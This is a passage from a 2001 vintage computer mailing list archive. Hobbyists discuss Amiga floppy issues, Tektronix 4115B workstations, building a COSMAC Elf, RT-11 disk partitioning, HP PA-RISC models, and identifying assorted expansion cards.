_____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call 01285 884400. From padf at ihug.co.nz Sat Jun 2 02:08:32 2001 From: padf at ihug.co.nz (Patrick Ford) Date: Sun Feb 27 19:04:09 2005 Subject: Amiga 1000 "disk change" stuck? In-Reply-To: <001901c0eb07$651ef540$36809782@rcs.ra.rockwell.com> Message-ID: Gidday Jonathan On 02-Jun-01, you wrote: > Questions: > Is there some software way to force the computer to flush the > disk cache and take a fresh look at a disk? Try: Diskchange DF0: > Is an IBM-PC 1.44 meg floppy drive an adequate replacement for > the original 800K internal drive, at least for reading? Yes but there could be some cable and/or jumper fiddling. There's a recent instruction file on Aminet regarding this. There has been recent discussion about this in comp.sys.amiga.hardware. If google has the news archives working again, it may be simple to find, otherwise post the question again. Subscribers are used to the same half dozen perennial ones appearing. At least yours is more sensible than "Where can I get ROM images." Regards -- *Patrick Ford Auckland, New Zealand* */#icq#/ 51642681* The email is deadlier than the mail Support *Open Directory Project* NO banners, NO junk--just information. *ODP *is built by volunteers and owned by the community . -------> http://dmoz.org <-----------Check it out From peter at joules.org Sat Jun 2 06:41:44 2001 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 19:04:09 2005 Subject: HTML source code?? (was: Call for Resources for CDC In-Reply-To: References: Message-ID: <01060212461100.00650@pluto.joules.org> On Fri, 01 Jun 2001, you wrote: > BTW, I also think that it is a really stupid idea to have the editor > refuse to let you continue until you fix an error. "Let me finish > typing! I'm on a roll! I PROMISE that I'll go back and fix those typos > before I compile!" > One of my pet hates is VBA, where you get halfway through a line ofcode, decide to copy something from somewhere else, and as soon as you leave the line you are editing it pops up a dialog box telling you that there is a syntax error... I f*&^$%g well know that - because I haven't finished typing the line. -- Regards Pete From Innfogra at aol.com Fri Jun 1 23:31:21 2001 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 19:04:09 2005 Subject: Any Tektronix 4115B and their ilk Message-ID: <6c.b15b41e.2849c619@aol.com> > Tek > 4115B systems for sale cheap ... what's the difference between them and > are they worth "cluttering up" my storage area with. He indicated they > were large & heavy!! > The Tek 4115Bs were an early engineering workstation based on the intel 8086 processor. The 412X series were based on the 80286 processor otherwise they were basically the same chassis. Up to 8 planes of color graphics with it's own memory. I believe the monitors were 1280X1024 and extremely heavy, about 120 pounds each it seems. Some of the 4129s came with Sony Trinitrons. You often cannot tell a 4115 from a 4129 without looking at the card set, they were upgraded so often. The upgrades are listed as obscure option numbers on the component plate. You cannot tell the model from any numbers on the monitors. Most of the ones I have seen have 4115 on the monitor but could be up to 4129s inside. Some of the "B" model monitors while the same case are of different configuration? cabling? frequency? I know there is some difference but my manuals are not accessible. There is also a weight difference. The "B" monitors were about 100 pounds instead of 120 pounds. The CPU came in two styles the Plain and the "B" (i.e., 4115"B"). The Plain looked like a desk with room for this large monitor. The front of the CPU cabinet extended out for a keyboard shelf with feet and bad casters extending out in front. This part of the case with cards and drives may weigh about 150 pounds. The "B" model was a largish deskside rollaround about 14" wide X24"high X32" deep on casters, weight about 100 pounds. Not a bad box for a collectable workstation. It is shippable too. The monitor was same as the 4115 with the noted "B" exceptions and meant to sit on a table or desk and connect with the CPU by cables. As to shipping weights a Plain with monitor & keyboard is about 270-300 pounds and a pure "B" is about 220-230 pounds. As to drives, the 41XX came with one or two 8" DSDD floppy drives. There was a 10 meg 8" HD option that was very rare. I have seen & sold over 30 of these systems and have never seen the Hard Drive option. The "B" model hides the drives behind a front tiltdown shelf. I like that design. The "plain" has both drives laying flat side by side across the front above the keyboard shelf. Needless to say you need the matching Tek keyboards. There were two kinds. One with a standard D (9/15 pin???) for the 411Xs and one with a round connector for the 412Xs. Other options available were digitizing tablets, a joystick, 1, 2, 4 & 8 plane color graphics, a tiling card set for the 4129, a 3 serial port option, hard drive interface, and more. If you find a "B" with an HD save it. I think they are rare....and nice. I bet there is software among the list members. You can ship a "B" in two Boxes and get it under the UPS limit of 150 pounds. I have done that. The original "plain" uprights have to be palletized with care. If the monitor is shipped in it's normal configuration, on top, it has a lot of inertia and has to be restrained by more than lots of shrink wrap. Even though it weighs 120 pounds it loves to slide around. Careful packing with heavy cardboard is essential here. I have some circuit cards for the Tek 41xx series that I am interested in parting with if anyone out there is interested. Paxton Astoria, Oregon P. S; The bad news is that these have a fair amount of Aluminum, Mu and gold in them so a scrapper tends to look at them as valuable but work to get apart. The cards in the early 4115s are heavy with silicon and gold and are worth about $2 per pound. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010602/821c7c68/attachment.html From bob at jfcl.com Fri Jun 1 23:30:22 2001 From: bob at jfcl.com (Bob Armstrong) Date: Sun Feb 27 19:04:09 2005 Subject: Building a new COSMAC Elf Message-ID: <01060121302286@jfcl.com> I have some RCA COSMAC 18xx family parts, two 1802 and one 1806 CPUs, an 1861 PIXIE video (!!), a 1854 UART, and a few assorted support chips. I've decided that the best use for them would be to build an updated Elf (I also built the original Elf 25 years ago and have always had a soft spot for the 1802). What software is out there that can run on the COSMAC? Does anybody have a copy of Tiny BASIC or figForth for the 1802? I have the original Popular Electronics Elf articles, but I'd like to have a look at the schematics for the Quest or Netronics Elf versions too. Does anybody have copies that they can share? BTW, I have schematics and ROM listings for the original RCA VIP (CDP18S711), RCA COSMAC Evaluation Kit (CDP18S020, including UT4) and the COSMAC Microboard (CDP18S604), if anybody needs those. Thanks, Bob Armstrong From cmcmanis at mcmanis.com Fri Jun 1 22:03:00 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:09 2005 Subject: Interesting find Message-ID: <5.0.0.25.2.20010601200100.027dc5a0@208.226.86.10> In packing up my stuff to move it from the office building to a temporary holding facility in my garage, I discovered I had the other half of the MDB Unibus to QBus bus "interpreter" which the docs claim will allow me to either use Unibus peripherals on a Q-bus machine or vice versa. Way cool. This means I can set up my 11/34a to use the RQ11D talking to a ESDI drive in a BA23 box as its hard drive (plus an RL01) but this gives me much more capacity. I hope it works! --Chuck From jhellige at earthlink.net Sat Jun 2 07:06:27 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:09 2005 Subject: Amiga 1000 "disk change" stuck? In-Reply-To: References: Message-ID: >Subscribers are used to the same half dozen perennial ones appearing. >At least yours is more sensible than "Where can I get ROM images." That's easy....purchase the Amiga Forever CD or the online version and download it. In it's most basic form, I think it gives the 1.3 and 2.0 Kickstart as well as Workbench. Now if only UAE would get up to me same level as Virtual PC and Shapeshifter as far as functionality. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From lance at costanzo.net Sat Jun 2 08:11:31 2001 From: lance at costanzo.net (Lance Costanzo) Date: Sun Feb 27 19:04:09 2005 Subject: HTML source code?? (was: Call for Resources for CDC Message-ID: <3.0.32.20010602061131.020cc46c@costanzo.net> At 12:41 PM 6/2/01 +0100, you wrote: >On Fri, 01 Jun 2001, you wrote: > >> BTW, I also think that it is a really stupid idea to have the editor >> refuse to let you continue until you fix an error. "Let me finish >> typing! I'm on a roll! I PROMISE that I'll go back and fix those typos >> before I compile!" >> > >One of my pet hates is VBA, where you get halfway through a line ofcode, decide >to copy something from somewhere else, and as soon as you leave the line you >are editing it pops up a dialog box telling you that there is a syntax error... >I f*&^$%g well know that - because I haven't finished typing the line. This seems to work for Access97: Tools/Options/Module uncheck 'auto syntax check' Errors still in red, but the dialog box goes away. Lance. From jhfine at idirect.com Sat Jun 2 09:24:25 2001 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 19:04:09 2005 Subject: Interesting find References: <5.0.0.25.2.20010601200100.027dc5a0@208.226.86.10> Message-ID: <3B18F719.6EF50281@idirect.com> >Chuck McManis wrote: > In packing up my stuff to move it from the office building to a temporary > holding facility in my garage, I discovered I had the other half of the MDB > Unibus to QBus bus "interpreter" which the docs claim will allow me to > either use Unibus peripherals on a Q-bus machine or vice versa. Way cool. > This means I can set up my 11/34a to use the RQ11D talking to a ESDI drive > in a BA23 box as its hard drive (plus an RL01) but this gives me much more > capacity. I hope it works! Jerome Fine replies: Since even V5.03 of RT-11 allows for up to 8 * 32 MByte partitions for the MSCP/DU(X).SYS device driver (the first version of RT-11 that did provide for partitioned MSCP devices, you should really enjoy an ESDI hard disk drive. If you do find a drive that is more than 256 MBytes or eight partitions, you can still use the extra "devices" as data volumes under V5.03, but just not at the same time since the limit in V5.03 is eight drives at one time (DU0: => DU7:) out of the 256 possible partitions on an 8 GByte hard drive (I guess that would be SCSI - not ESDI). Of course, if you have V5.05 of RT-11 or later, that allows up to 64 partitions at one time after you do a SYSGEN. The PDP-11/83 that I have available has 3 * 600 MByte ESDI hard drives. Eventually I hope to add a 4th drive for scratch use - the RQD11-EC quad controller allows only the first three drives to be WRITE PROTECTED with a passive front panel - I use an alligator clip connected to the correct wire on the 10-pin connector tied to ground at all times except when I decide to write something to be saved on the hard drive - if you are using the drive as the system device and you don't like the error messages about the SWAP.SYS file, then "SET EXIT NOSWAP". One minor problem is that until after V5.04G of RT-11, there was no possibility of booting (even a software boot using DUP) since the boot code had ONE missing instruction to set up the partition number. I have fixed that in my version of DU(X).SYS for V5.04G and could easily do so for V5.03 as well. In V5.06 of DU(X).SYS, the ONE instruction has been added to the boot block code, but you can still boot only the first eight devices via DUP (DU0: => DU7:) since there are only eight entries in the boot block for the required map. I have also fixed that in my version of DU(X).SYS for V5.06 of RT-11 and can now boot D00: => D77: via DUP. The reason I found this aspect important is that with the 3 * ESDI 600 MByte hard drives, is use: D00: => D23: for the first 20 partitions on physical unit 0 D30: => D53: for the next 20 partitions on physical unit 1 D60: => D83: for the next 20 partitions on physical unit 2 with ASSIGN D54: D80: ASSIGN D55: D81: ASSIGN D56: D82: ASSIGN D57: D83: and when I add a small ESDI scratch drive as unit 3 which can't be WRITE PROTECTED, I will use: D90: => D93: for the remaining 4 available partitions on unit 3 with ASSIGN D24: D90: ASSIGN D25: D91: ASSIGN D26: D92: ASSIGN D27: D93: so that everything is easy to see and understand and all the drive numbers have a bit of sense and order. If you don't understand any portion of the above, ask some questions. I hope the hardware works for you. Sincerely yours, Jerome Fine From edick at idcomm.com Sat Jun 2 09:56:43 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:09 2005 Subject: FS: System 36 References: <5.0.0.25.2.20010601200100.027dc5a0@208.226.86.10> <3B18F719.6EF50281@idirect.com> Message-ID: <000c01c0eb74$3d3b3d00$9cc762d8@idcomm.com> Don't ask me about this ... contact chaikensys@aol.com directly, plz. Re: FS: IBM System 36. >Take it away for $100. I love when people say an item for sale was this many >dollars new, well this is a real bargain cause it was about $100,000 new. What >a steal!! LOL. >Midtown NYC location. > >Thanks, > >Vinny Dick ----- Original Message ----- From: "Jerome Fine" To: Sent: Saturday, June 02, 2001 8:24 AM Subject: Re: Interesting find > >Chuck McManis wrote: > > > In packing up my stuff to move it from the office building to a temporary > > holding facility in my garage, I discovered I had the other half of the MDB > > Unibus to QBus bus "interpreter" which the docs claim will allow me to > > either use Unibus peripherals on a Q-bus machine or vice versa. Way cool. > > This means I can set up my 11/34a to use the RQ11D talking to a ESDI drive > > in a BA23 box as its hard drive (plus an RL01) but this gives me much more > > capacity. I hope it works! > > Jerome Fine replies: > > Since even V5.03 of RT-11 allows for up to 8 * 32 MByte partitions for > the MSCP/DU(X).SYS device driver (the first version of RT-11 that did > provide for partitioned MSCP devices, you should really enjoy an ESDI > hard disk drive. If you do find a drive that is more than 256 MBytes or > eight partitions, you can still use the extra "devices" as data volumes > under V5.03, but just not at the same time since the limit in V5.03 is > eight drives at one time (DU0: => DU7:) out of the 256 possible partitions > on an 8 GByte hard drive (I guess that would be SCSI - not ESDI). > > Of course, if you have V5.05 of RT-11 or later, that allows up to 64 > partitions at one time after you do a SYSGEN. The PDP-11/83 that > I have available has 3 * 600 MByte ESDI hard drives. Eventually I > hope to add a 4th drive for scratch use - the RQD11-EC quad controller > allows only the first three drives to be WRITE PROTECTED with a > passive front panel - I use an alligator clip connected to the correct wire > on the 10-pin connector tied to ground at all times except when I decide > to write something to be saved on the hard drive - if you are using the > drive as the system device and you don't like the error messages about > the SWAP.SYS file, then "SET EXIT NOSWAP". > > One minor problem is that until after V5.04G of RT-11, there was no > possibility of booting (even a software boot using DUP) since the boot > code had ONE missing instruction to set up the partition number. I have > fixed that in my version of DU(X).SYS for V5.04G and could easily > do so for V5.03 as well. In V5.06 of DU(X).SYS, the ONE instruction > has been added to the boot block code, but you can still boot only the > first eight devices via DUP (DU0: => DU7:) since there are only eight > entries in the boot block for the required map. I have also fixed that in > my version of DU(X).SYS for V5.06 of RT-11 and can now boot > D00: => D77: via DUP. The reason I found this aspect important is > that with the 3 * ESDI 600 MByte hard drives, is use: > D00: => D23: for the first 20 partitions on physical unit 0 > D30: => D53: for the next 20 partitions on physical unit 1 > D60: => D83: for the next 20 partitions on physical unit 2 with > ASSIGN D54: D80: > ASSIGN D55: D81: > ASSIGN D56: D82: > ASSIGN D57: D83: > and when I add a small ESDI scratch drive as unit 3 which can't > be WRITE PROTECTED, I will use: > D90: => D93: for the remaining 4 available partitions on unit 3 with > ASSIGN D24: D90: > ASSIGN D25: D91: > ASSIGN D26: D92: > ASSIGN D27: D93: > so that everything is easy to see and understand and all the drive > numbers have a bit of sense and order. > > If you don't understand any portion of the above, ask some questions. > I hope the hardware works for you. > > Sincerely yours, > > Jerome Fine > > From cmurillo at emtelsa.multi.net.co Sat Jun 2 08:46:43 2001 From: cmurillo at emtelsa.multi.net.co (Carlos Murillo) Date: Sun Feb 27 19:04:09 2005 Subject: Apollo 735/50 in SoCal In-Reply-To: References: <3.0.2.32.20010601080708.00f9e420@obregon.multi.net.co> <3B16850D.6D7ACAE3@tiac.net> <527.550T1050T294239optimus@canit.se> <3B1462EE.587A482@tiac.net> <001901c0e857$b46cc580$21fe54a6@ibm23xhr06> Message-ID: <3.0.2.32.20010602094643.00e2391c@obregon.multi.net.co> At 03:16 PM 6/1/01 -0700, you wrote: >>However, I think that what you are describing as "HP735/50" >>are actually "715/50"; the 735 came in 99 and 125MHz varieties >>only. Still, the 715's are ok. > >OK, I'll split the difference with you, HP 725/50 PA-Risc machines. I >bought four of them, and may pick through parts on a few more next Tuesday >when I pick them up (ran out of time the other day). I booted a couple of >them up, including a 715/33 and they were running HP-UX version 3.08 I >think. They all had passwords etc., but I have the CD set, so I should be >able to just reinstall etc. Probably HPUX 9.08; if there ever was 3.08 that would have been ancient and certainly not for PA RISC. Now, the 725's have PARISC 7000 cpus; they won't be supported by the PA-RISC Linux port when it is available. But they will run HPUX 9 - 10.2. The 715's are actually newer, and they should run HPUX 9-11 and Linux; I think they are PA-RISC 7200? The 735/99 is PA-RISC 7100 (the minimum for Linux) and the 735/125 is PA-RISC 7150 . This is from memory so I could be wrong. Oh, and before I forget: there is NextStep for these machines as well. They are all good machines in any event. If you ever come across a 735/125 (or 99) grab them; they have stereo audio and are twice as fast. carlos. -------------------------------------------------------------- Carlos E. Murillo-Sanchez carlos_murillo@nospammers.ieee.org From dhquebbeman at theestopinalgroup.com Sat Jun 2 10:19:19 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:09 2005 Subject: Anyone ever seen a TRAN M3000? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151095@jeffserver.tegjeff.com> > >In a few weeks, I'll put a diagram of the Indiana > >University Computing Network cira 1974 up on my web > >site so you can see the role it played. You'll need > >a WHIP! viewer (from Autodesk's web site) to view it. > > If the diagram is of that vintage and not going to be > changed, why post it in Autocad format where it needs a special > plug-in to view it? I haven't been able to create a raster image of it that preserves all the visible details without it being smaller than 2MB. I can't dedicate that much of my precious homepage storage space to a single item. The DWF file (and likewise a DXF) are a few orders of magnitude smaller. Here's an attempt at makeing it fit in a web browser: http://members.iglou.com/dougq/iunet74s.jpg See what I mean? It's a large diagram with lots of detail. Regards, -dq From bshannon at tiac.net Sat Jun 2 10:27:16 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:09 2005 Subject: Building a new COSMAC Elf References: <01060121302286@jfcl.com> Message-ID: <3B1905D4.6B36A09D@tiac.net> I've got an ELF-II. Tiny basic was distibuted on cassette tape of poor quality, so it almost never loaded correctly. As a result, I purchased the basic in ROM that uses the MM57109 floating point chip. I may have spare MM57109's, if you think about building an ELF-II under the hood of an original ELF. Bob Armstrong wrote: > I have some RCA COSMAC 18xx family parts, two 1802 and one 1806 CPUs, an > 1861 PIXIE video (!!), a 1854 UART, and a few assorted support chips. I've > decided that the best use for them would be to build an updated Elf (I also > built the original Elf 25 years ago and have always had a soft spot for the > 1802). > > What software is out there that can run on the COSMAC? Does anybody have > a copy of Tiny BASIC or figForth for the 1802? > > I have the original Popular Electronics Elf articles, but I'd like to have > a look at the schematics for the Quest or Netronics Elf versions too. Does > anybody have copies that they can share? > > BTW, I have schematics and ROM listings for the original RCA VIP (CDP18S711), > RCA COSMAC Evaluation Kit (CDP18S020, including UT4) and the COSMAC Microboard > (CDP18S604), if anybody needs those. > > Thanks, > Bob Armstrong From cmcmanis at mcmanis.com Sat Jun 2 11:09:47 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:09 2005 Subject: Interesting find In-Reply-To: <3B18F719.6EF50281@idirect.com> References: <5.0.0.25.2.20010601200100.027dc5a0@208.226.86.10> Message-ID: <5.0.0.25.2.20010602090656.00abde80@208.226.86.10> At 10:24 AM 6/2/01 -0400, Jerome wrote: >Since even V5.03 of RT-11 allows for up to 8 * 32 MByte partitions for >the MSCP/DU(X).SYS device driver (the first version of RT-11 that did >provide for partitioned MSCP devices, you should really enjoy an ESDI >hard disk drive. If you do find a drive that is more than 256 MBytes or >eight partitions, you can still use the extra "devices" as data volumes >under V5.03, but just not at the same time since the limit in V5.03 is >eight drives at one time (DU0: => DU7:) out of the 256 possible partitions >on an 8 GByte hard drive (I guess that would be SCSI - not ESDI). [And a strategy for keeping them straight in your head...] Wow, I would be amazed if I had that much stuff to run on RT-11. I've got to get the 11/34 set up now in the rack with the BA23 extender box. So it will now have: Kennedy 9610 (compact 9trk) PDP 11/34a BA23 expansion chassis RLO2 (on the bottom) All in a low boy rack if it will fit. (it should, I think that is only 25 out of 28 "U" for that rack. --Chuck From foo at siconic.com Sat Jun 2 10:23:49 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:09 2005 Subject: Building a new COSMAC Elf In-Reply-To: <01060121302286@jfcl.com> Message-ID: On Fri, 1 Jun 2001, Bob Armstrong wrote: > What software is out there that can run on the COSMAC? Does anybody > have a copy of Tiny BASIC or figForth for the 1802? Here's a site that might be helpful: http://personal.lig.bellsouth.net/lig/d/o/dogas/cosmac/ There are also a couple more listed in the VCF Link Library that are pertinent to the 1802: http://www.vintage.org/cgi-bin/links.pl Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Sat Jun 2 10:27:17 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:09 2005 Subject: FS: System 36 In-Reply-To: <000c01c0eb74$3d3b3d00$9cc762d8@idcomm.com> Message-ID: If anything, this guy should pay out $100 to have it removed. On Sat, 2 Jun 2001, Richard Erlacher wrote: > Don't ask me about this ... contact chaikensys@aol.com directly, plz. > > Re: FS: IBM System 36. > > >Take it away for $100. I love when people say an item for sale was this many > >dollars new, well this is a real bargain cause it was about $100,000 new. What > >a steal!! LOL. > >Midtown NYC location. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From hsappleton at sprintmail.com Sat Jun 2 12:28:50 2001 From: hsappleton at sprintmail.com (Headley Sappleton) Date: Sun Feb 27 19:04:09 2005 Subject: Please help me ID cards(32) Message-ID: <00b901c0eb89$7d915fa0$95c6d63f@headleys> Hi All I have accumulated some miscellaneous cards from various sources and would like to get some imput from anyone who can identify anything below. I intend to use whatever I can and offer others for swap on this list for those I cannot use. I am interested in memory for my VAXserver 3100 and other equipment's and parts for DEC, HP and IBM workstation, but is open to anything you have available. If you recognize any equipment, please say briefly what it is and what it is used for and with what equipment. Note: Wherever you see NUBUS/VMEBUS or local bus,is because I do not know the difference, but by describing it like this I may help you recognize it Photos by request 1) JETSTREAM GRIP PROCESSOR BRD - ASSY 7527-0060 (has 2 nubus/VMEBUS) connectors on both side end of board - size 9.75" X 11" 2) GRIP RAM MK2 BD - ASSY 7521-8500 - connectors on both side end of board - size 9.75" X 11" (received this card is connected to above) 3) looks like 4 boards interconnected. the two main board seems to be ISA and both has what looks like one SCSI connector on each which are connected together by a SCSI cable. One main card has two other smaller cards attached. Both are made by CALIFORNIA DATA CORP. One of the smaller cards attached to it is marked MULTISONIC/PC ULTRASONIC INSTRUMENT. The part number for the main card is P/N C2859 REV D. The other main card is marked MULTISONIC/PC GATE BOARD. P/N C2863. Both main board has a 26-pin(M) external port as well as some small strange ports. Both are 13" x 4" in size 4) A small board measuring 8" x 5.50". Made by OMT INC. Model 5400, ASSY00060-13 REV T. Has what looks like a 4-pin pc power connector. Really looks like a small motherboard with what could be floppy/SCSI/IDE connectors 5) measures 13" x 4.25". This has a smaller board attached. The larger board looks like ISA.. Made by IMAGING TECHNOLOGY INCORPORATED. Both board are marked PC VISION. The main board has a 20-pin external connector. 6) 5" x 13.50" Identification marks are "STORK X-CEL KP0218-30 R727304" Has 4 "clip on" internal connectors - all varying sizes. 7) 13" x 4.75. I believe ISA. Has 4 x 30-pin SIMMs slot. Has 3 x PROMISE TECH chips. Has a bunch of IDE connectors 8) 5" x 4.50". ISA. Made by ANALYTIC DESIGN. I believe this is a video card. Has external 9-pin female connector. 2 x "sound-card like" ports. has a switch and dipswitch. 9) Made by IMAGE STORE 852004-2-B-5/4. measures 9.50" X 12" 10) measure 7.25" x 4.25. has a nubus/VMEBUS connector. Made by BARNEYSCAN AS-115. Has an external 17-pin (DB)female connector 11) 9.25" x 7". MEGASCAN TECHNOLOGY ITF-3102 VME interface. ASSY A33400. Has an external 50-pin connector 12) SEAGATE TECHNOLOGY. ST02. SL04. BIOS 3.3.2. 5.25" X 4.25". Has external 25-pin port 13) ISA board. ORCHID DESIGNER VGA. 835-0008-1 REV B. ORCHID 'S D-VGA version 9.4. D-VGA20326Has 2 video ports. 9-pin and 14-pin as well as a dip switch 14) PRODESIGNER VGA. ISA board. 830-0022-2/C1. ORCHID TECHNOLOGY. PRODESIGNER BIOS 1.2.2, 2.2.2, xl ROM 2.2. External 15-pin connector 15) MEGASCAN TECHNOLOGY FDP-3100 AT interface. A33300-B. 3101 BOOT PROM rev: 1.1. External 50-pin port 16) 13.50" X 4.25". RC ELECTRONIC INC. COMPUERSCOPE ISC 16. Looks like ISA. has 40-pin external connector 17) ISA. VERSATEC IBM-INTERFACE. A10-026546-002-A. 37-pin DB external port 18) SANG COMPUTER SYSTEM GmbH. 16 bit dual FIFO AT interface. MEGA-Link DMA. External 15-pin port 19) LYNX ATI REV C. ISA board. Has a internal SCSI connector. 2 x external serial port 20) AT & T DSP32C-DS V2.1 DGM/MEM/AAP. external 34-pin port and 2 x speaker-like ports. 21) ADVANCE TECHNOLOGIES RP88 RISC Coprocessor. Has 8 SIMMs chip installed (MCM84000AS) 22) Looks like either a NUBUS/Local/VMEBUS by Tektronix inc. Has a 13W3 port. Other ID Bt458KG080, RAMDAC, SN E30110 23) Schroff VME 1-0 BUS 4-slot. 60800 414. There is something attached to two of the slots by Quality Products Int' Model S1E2SP2-1 24) Intergraph Computer systems LYNX II geometry accelerator. CSMT3020B MSMT302 REV B. 25) Advance technologies RP88 RISC Coprocessor. Tektronix. Has 4 Motorolo processors and 8x memory chips (Motorola MCM84000AS ATATAM9201 80ns). This is NUBUS/Local/VMEBUS 26) I vaguely remember pulling this one out of an old Compaq laptop. It has very little ID. It has ISA bus and 5 external ports, which I believe are 10BASET, an 8-pin mini din, 2 ports that looks like speaker port and one "yellow" port. ID: CE168X. P500-0145-02R-HN019839 27) STORK X-CEL. ISA. Has external switch. has 4x memory chips which are soldered 28) SuperMac (NUBUS) ASSY 0007532-0001 REV B. S/N S-NB 502296. Has a chip that says "1003359-0001A Spigot NUBUS ver. 1.0". 29) has a 9-pin video port and a serial port. ISA. ID: A63 IVG-128, DATACUBE 26-00138 30) A 5" card by Raster Image Processing Systems Incorporated. LJPA2 REV A. Has a 25-pin male port 31) STORK X-CEL 4R727311A. ISA 32) ISA. WD7000 ASC. has an external SCSI and an internal SCSI -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010602/850e3593/attachment.html From quapla at xs4all.nl Sat Jun 2 14:49:29 2001 From: quapla at xs4all.nl (wanderer) Date: Sun Feb 27 19:04:09 2005 Subject: New finds - swap & question References: <7A9BACCEF0171D4FB77019F5104CDD37151095@jeffserver.tegjeff.com> Message-ID: <3B194349.2ACE@xs4all.nl> Hi all, Yesterday I found some new nice things, 5 Digital handbooks. One of them is the 'Small Computer Handbook' from 1967 and describes the PDP-8, 8/S, LINC-8 and a product catalog. There are also some pictures of the assembly line. The product catalog shows pictures of the PDP-8, the PDP-8/s, the LINC-8, the DISPLAY-8, the PDP-9, the PDP-10 and a test system Dec used to test their Flip-Chips. Since I have restricted myself to PDP-11's only, and I need 2 little boards, I'm offering this book for swap for two W970 cards (or 2 W957 cards). These cards are standard single width cards to attach a flat cable with it. Has anybody heard of a 'QBus music card'? This is a dual width card with 2 AY-3-8912 IC's and an audio out plug mounted on the card. Where was it used for and which application can control it? Ed -- The Wanderer | Politici zijn gore oplichters. quapla@xs4all.nl | Europarlementariers: zakkenvullers http://www.xs4all.nl/~quapla | en neuspeuteraars. Unix Lives! windows95/98 is rommel! | WEG MET DE TOLPOORTEN!! '97 TL1000S | Kilometerheffing : De overheid weet | weet waar je bent geweest! From cmcmanis at mcmanis.com Sat Jun 2 13:06:36 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:09 2005 Subject: Please help me ID cards(32) In-Reply-To: <00b901c0eb89$7d915fa0$95c6d63f@headleys> Message-ID: <5.0.0.25.2.20010602110128.02ab4750@208.226.86.10> At 01:28 PM 6/2/01 -0400, you wrote: >4) A small board measuring 8" x 5.50". Made by OMT INC. Model 5400, >ASSY00060-13 REV T. Has what looks like a 4-pin pc power connector. Really >looks like a small motherboard with what could be floppy/SCSI/IDE connectors This is a bridge board I believe. I've got one like it that converts SCSI to archive tape interface. >17) ISA. VERSATEC IBM-INTERFACE. A10-026546-002-A. 37-pin DB external port This one is extremely handy if you know someone with a Versatec printer/plotter. I had a Color one that I kept for a couple of years trying to find a 'reasonable' i/f card for it. Finally gave up and tossed it. Oh well :-) >24) Intergraph Computer systems LYNX II geometry accelerator. CSMT3020B >MSMT302 REV B. Probably a workstation plugin A lot of these sound vaguely like you could put them together into an Intergraph workstation. Did some scrapper just have a 'pile-o-cards' or were they in a box? I'm sure some Intergraph collector on the net will say "Yeah, and that's a foo, and that's a bar, and ..." --Chuck From ard at p850ug1.demon.co.uk Sat Jun 2 12:55:31 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:09 2005 Subject: Please help me ID cards(32) In-Reply-To: <00b901c0eb89$7d915fa0$95c6d63f@headleys> from "Headley Sappleton" at Jun 2, 1 01:28:50 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1898 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010602/83ddf533/attachment.ksh From mikeford at socal.rr.com Sat Jun 2 13:01:50 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:09 2005 Subject: Please help me ID cards(32) In-Reply-To: <00b901c0eb89$7d915fa0$95c6d63f@headleys> Message-ID: 7) 13" x 4.75. I believe ISA. Has 4 x 30-pin SIMMs slot. Has 3 x PROMISE TECH chips. Has a bunch of IDE connectors Promise makes IDE controllers. 10) measure 7.25" x 4.25. has a nubus/VMEBUS connector. Made by BARNEYSCAN AS-115. Has an external 17-pin (DB)female connector Barneyscan was a high end prepress type photo scanner thing. 22) Looks like either a NUBUS/Local/VMEBUS by Tektronix inc. Has a 13W3 port. Other ID Bt458KG080, RAMDAC, SN E30110 Tektronix sold some special monitors for awhile, this looks like a controller card. 28) SuperMac (NUBUS) ASSY 0007532-0001 REV B. S/N S-NB 502296. Has a chip that says "1003359-0001A Spigot NUBUS ver. 1.0". Low end video capture. From zmerch at 30below.com Sat Jun 2 13:15:20 2001 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 19:04:09 2005 Subject: CoCo Info Needed... In-Reply-To: References: <000c01c0eb74$3d3b3d00$9cc762d8@idcomm.com> Message-ID: <3.0.1.32.20010602141520.0096a5c0@mail.30below.com> Otay, here's the situation, and I need some help, folks... I've got a "new" project in mind, that I need to use my old computers for, specifically CoCo's. I need to build at least a few temperature controllers, and I wanted to use the internal ADC in one of my CoCo's, but I'm not sure if they're high enough resolution... (6-bit) - until I remembered the Hi-Res Joystick Adapter for the CoCo3 that plugs into both the joystick port & the cassette port. Now, does anyone have any info on the hardware & programming of that port? I remember that the gizmo mimiced the resolution of the CoCo3, as in 640 (methinks it was around 10bit, wasn't it) distinct steps, and I think it used the DAC of the cassette port in conjunction with the ADC of the joystick port, but I have no idears about how to program the rascal, or how to replicate it (I could use *at least* 2, and I only own one myself)... I've searched some of my Rainbow's to no avail (methinks Hot CoCo was already bought out by then...) but my collection stops around December of '86, and I 